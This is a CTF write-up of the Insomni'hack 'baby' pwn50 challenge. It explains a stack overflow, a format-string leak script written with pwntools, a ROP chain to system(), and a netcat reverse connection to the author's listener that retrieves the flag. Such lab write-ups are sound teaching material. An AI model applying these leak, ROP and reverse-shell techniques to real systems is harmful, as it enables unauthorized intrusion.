Hi all,
i´ve looked a bit at the Insomni’hack CTF which took place on the 21st January and lasted for 36 hours.
For the sake of warming up a bit for our Troopers workshop Windows and Linux Exploitation,
I decided to create a write-up of the first pwn50 challenge.
To grab your own copy of the presented files you can also find it in our Github repository:
When downloading the first binary, we are presented with 2 files:
baby
libc.so
Looking closer at the baby binary we can observe:
file baby
baby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped
pwndbg> checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
According to the output we are dealing with a 64-Bit standard Linux binary with all protections (ASLR and PIE/NX/Stack Canary) enabled.
Since they provided a custom libc.so, the custom version must be preloaded to avoid conflicts with the system libc. This can be achieved with the LD_PRELOAD environment variable:
LD_PRELOAD=./libc.so ./baby
In order to load the binary you would need to have a user called baby with its own home directory. Also the launching user need the permissions for setgroups/setgid etc etc.. since I always run CTF binaries in a virtualized container I simply used the root user for that.
The binary will first spin up a listener on port 1337 and then drop its privileges. When connecting to the listener we are provided with the following output:
nc 127.0.0.1 1337
Welcome to baby's first pwn.
Pick your favorite vuln :
1. Stack overflow
2. Format string
3. Heap Overflow
4. Exit
Since it´s a 50 points task i trusted the authors that the binary probably contained all types of vulnerabilities. Since I started very late into the challenge I picked the easy way and wanted to go for a Stack Overflow.
Looking at the binary in IDA, the vulnerability was very straight forward (There was a handle function which called for “1” – dostack() / “2” – dofmt() / “3” – doheap():
The dostack() vulnerability was easy to spot. You can choose in the first step how many bytes you want to send. The value will be interpreted as Integer and determines how many bytes will be written to the variable buf. Since buf can only contain 1032 chars (0x428 – 0x20 = 1032), it can be easily overwritten which results in a Buffer Overflow.
When trying to exploit this vulnerability by choosing 1300 bytes and sending 1300 “A”s to the application we can observe a stack smash:
*** stack smashing detected ***: /root/baby terminated
The backtrace showed this:
f 0 7ffff7a43428 raise+56
f 1 7ffff7a4502a abort+362
f 2 7ffff7a857ea
f 3 7ffff7b2656c __fortify_fail+92
f 4 7ffff7b26510 __fortify_fail
f 5 5555555554c6 dostack+180
Looks like we successfully smashed the stack but the overwrite of the Stack Canary resulted in a __fortify_fail (details of Stack Canaries and other protections will of course be covered in our training).
Since the simple Stack Overflow does not leak anything, we need to leak all necessary addresses (Stack Canary/Imagebase/libc/libc_System) via another vulnerability.
Since there is also a Format String vulnerability, it´s possible to obtain all necessary addresses to write a functional exploit.
The below Python snipped will help in dumping all stack addresses using the Format String vulnerability:
from pwn import *
import IPython
conn = remote('127.0.0.1',1337)
message = conn.recvuntil('>',drop=True)
# Leak Stack Address
conn.send('2\n')
conn.recvline()
for i in range(200):
conn.send("%" + str(i) + "$p\n")
print("Number: " + str(i))
print(conn.recvline(timeout=1))
IPython.embed()
This will print out something like this:
Number: 26
Your format > 0x7f5461ac1aa3
Number: 27
Your format > 0xffffffff00000000
Number: 28
Your format > 0xffffffffffffffff
Finding a persistent pointer to the Imagebase, Libc as well as the Stack Canary (and calculating the offset) is left out for the reader as exercise 😉 but the command vmmap from pwndbg can be quite helpful!
Just another thing to consider was the given libc.so. This was a fully stripped Shared Library and System was not in the PLT and GOT, hence the offset to System had to be fiddled out with IDA and calculated for the exploit. Since Shared Libraries always export their functions, System is fast to find within IDA in the “Export” tab.
Now you only have to calculate the leaked libc base + offset from Libc.
After leaking every needed pointer to bypass ASLR and constructing the little ROP chain to system the exploit looks like this:
https://github.com/ernw/insinuator-snippets/blob/master/Insomnihack/exploit.py
I did had some problems with different alignment on my local Debian and the CTF server but after figuring out the offset of my stack canary was off by 5 bytes, the flag could be easily obtained by executing netcat as shellcode to your own ip address. Here we go! we got the flag ;):
root@server:~# nc -nlvp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from [52.213.236.162] port 1234 [tcp/*] accepted (family 2, sport 46202)
INS{if_you_haven't_solve_it_with_the_heap_overflow_you're_a_baby!}
Shame on me for not solving this with the heap overflow 🙁 but remember “whatever floats your goat“.
If you are interested in playing CTFs or Linux/Windows exploitation, join Oliver and me in our “Windows and Linux Exploitation” Workshop at Troopers. We are happy to see you there 😉
Cheers,
Birk